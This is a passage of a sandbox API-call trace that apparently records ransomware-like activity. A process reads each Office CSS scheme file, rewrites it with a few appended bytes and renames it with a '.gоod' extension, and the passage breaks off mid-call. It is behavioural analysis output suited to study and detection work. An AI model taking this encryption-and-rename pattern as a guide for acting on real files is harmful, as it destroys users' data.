dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.196] GetFileType (hFile=0x85c) returned 0x1 [0252.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.196] GetFileType (hFile=0x85c) returned 0x1 [0252.196] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1fbbe [0252.196] WriteFile (in: hFile=0x85c, lpBuffer=0x3a07458*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3a07458*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0252.197] CloseHandle (hObject=0x85c) returned 1 [0252.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.197] GetFileType (hFile=0x85c) returned 0x1 [0252.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.198] GetFileType (hFile=0x85c) returned 0x1 [0252.198] ReadFile (in: hFile=0x85c, lpBuffer=0x3a09720, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3a09720*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0252.757] CloseHandle (hObject=0x85c) returned 1 [0252.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.757] GetFileType (hFile=0x85c) returned 0x1 [0252.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.758] GetFileType (hFile=0x85c) returned 0x1 [0252.758] WriteFile (in: hFile=0x85c, lpBuffer=0x3917448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3917448*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0252.758] CloseHandle (hObject=0x85c) returned 1 [0252.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS", lpFilePart=0x0) returned 0x4a [0252.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS.gоod", lpFilePart=0x0) returned 0x4f [0252.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0252.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92df7b88, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fbce)) returned 1 [0252.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0252.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME02.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme02.css.gоod")) returned 1 [0252.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0252.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0252.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), fInfoLevelId=0x0, lpFileInformation=0x3b46610 | out: lpFileInformation=0x3b46610*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f024)) returned 1 [0252.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0252.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0252.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.760] GetFileType (hFile=0x85c) returned 0x1 [0252.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.760] GetFileType (hFile=0x85c) returned 0x1 [0252.760] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0252.760] ReadFile (in: hFile=0x85c, lpBuffer=0x3b46a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3b46a38*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0252.761] CloseHandle (hObject=0x85c) returned 1 [0252.761] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0252.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.761] GetFileType (hFile=0x85c) returned 0x1 [0252.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.761] GetFileType (hFile=0x85c) returned 0x1 [0252.761] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f024 [0252.761] WriteFile (in: hFile=0x85c, lpBuffer=0x3b47cd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3b47cd8*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0252.762] CloseHandle (hObject=0x85c) returned 1 [0252.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0252.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0252.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0252.762] GetFileType (hFile=0x85c) returned 0x1 [0252.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0252.762] GetFileType (hFile=0x85c) returned 0x1 [0252.762] ReadFile (in: hFile=0x85c, lpBuffer=0x3b49fa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3b49fa0*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0254.494] CloseHandle (hObject=0x85c) returned 1 [0254.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0254.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.495] GetFileType (hFile=0x85c) returned 0x1 [0254.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.495] GetFileType (hFile=0x85c) returned 0x1 [0254.495] WriteFile (in: hFile=0x85c, lpBuffer=0x39549f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x39549f8*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0254.495] CloseHandle (hObject=0x85c) returned 1 [0254.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS", lpFilePart=0x0) returned 0x4a [0254.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS.gоod", lpFilePart=0x0) returned 0x4f [0254.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0254.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93e83307, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f034)) returned 1 [0254.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0254.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME03.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme03.css.gоod")) returned 1 [0254.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0254.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), fInfoLevelId=0x0, lpFileInformation=0x3b820c8 | out: lpFileInformation=0x3b820c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2)) returned 1 [0254.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0254.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.499] GetFileType (hFile=0x85c) returned 0x1 [0254.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.499] GetFileType (hFile=0x85c) returned 0x1 [0254.499] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0254.499] ReadFile (in: hFile=0x85c, lpBuffer=0x3b824f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3b824f0*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0254.500] CloseHandle (hObject=0x85c) returned 1 [0254.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.500] GetFileType (hFile=0x85c) returned 0x1 [0254.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.500] GetFileType (hFile=0x85c) returned 0x1 [0254.500] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1f4e2 [0254.500] WriteFile (in: hFile=0x85c, lpBuffer=0x3b83d40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59d2c8, lpOverlapped=0x0 | out: lpBuffer=0x3b83d40*, lpNumberOfBytesWritten=0x1f59d2c8*=0x10, lpOverlapped=0x0) returned 1 [0254.501] CloseHandle (hObject=0x85c) returned 1 [0254.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.502] GetFileType (hFile=0x85c) returned 0x1 [0254.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.502] GetFileType (hFile=0x85c) returned 0x1 [0254.502] ReadFile (in: hFile=0x85c, lpBuffer=0x3b86008, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d358, lpOverlapped=0x0 | out: lpBuffer=0x3b86008*, lpNumberOfBytesRead=0x1f59d358*=0x1000, lpOverlapped=0x0) returned 1 [0254.578] CloseHandle (hObject=0x85c) returned 1 [0254.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.578] GetFileType (hFile=0x85c) returned 0x1 [0254.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.578] GetFileType (hFile=0x85c) returned 0x1 [0254.578] WriteFile (in: hFile=0x85c, lpBuffer=0x3a0c7f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59d408, lpOverlapped=0x0 | out: lpBuffer=0x3a0c7f8*, lpNumberOfBytesWritten=0x1f59d408*=0x1010, lpOverlapped=0x0) returned 1 [0254.578] CloseHandle (hObject=0x85c) returned 1 [0254.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS", lpFilePart=0x0) returned 0x4a [0254.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS.gоod", lpFilePart=0x0) returned 0x4f [0254.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d340) returned 1 [0254.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59d420 | out: lpFileInformation=0x1f59d420*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x93f41f6c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f4f2)) returned 1 [0254.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d300) returned 1 [0254.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME04.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme04.css.gоod")) returned 1 [0254.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59ceb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0254.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d380) returned 1 [0254.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), fInfoLevelId=0x0, lpFileInformation=0x3a20800 | out: lpFileInformation=0x3a20800*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1edba)) returned 1 [0254.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d340) returned 1 [0254.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0254.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0254.582] GetFileType (hFile=0x85c) returned 0x1 [0254.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d1f0) returned 1 [0254.582] GetFileType (hFile=0x85c) returned 0x1 [0254.582] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59d3d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59d3d8*=0) returned 0x1000 [0254.582] ReadFile (in: hFile=0x85c, lpBuffer=0x3a20c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59d3a8, lpOverlapped=0x0 | out: lpBuffer=0x3a20c28*, lpNumberOfBytesRead=0x1f59d3a8*=0x1000, lpOverlapped=0x0) returned 1 [0254.584] CloseHandle (hObject=0x85c) returned 1 [0254.584] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", nBufferLength=0x105, lpBuffer=0x1f59cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS", lpFilePart=0x0) returned 0x4a [0254.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d280) returned 1 [0254.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme05.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 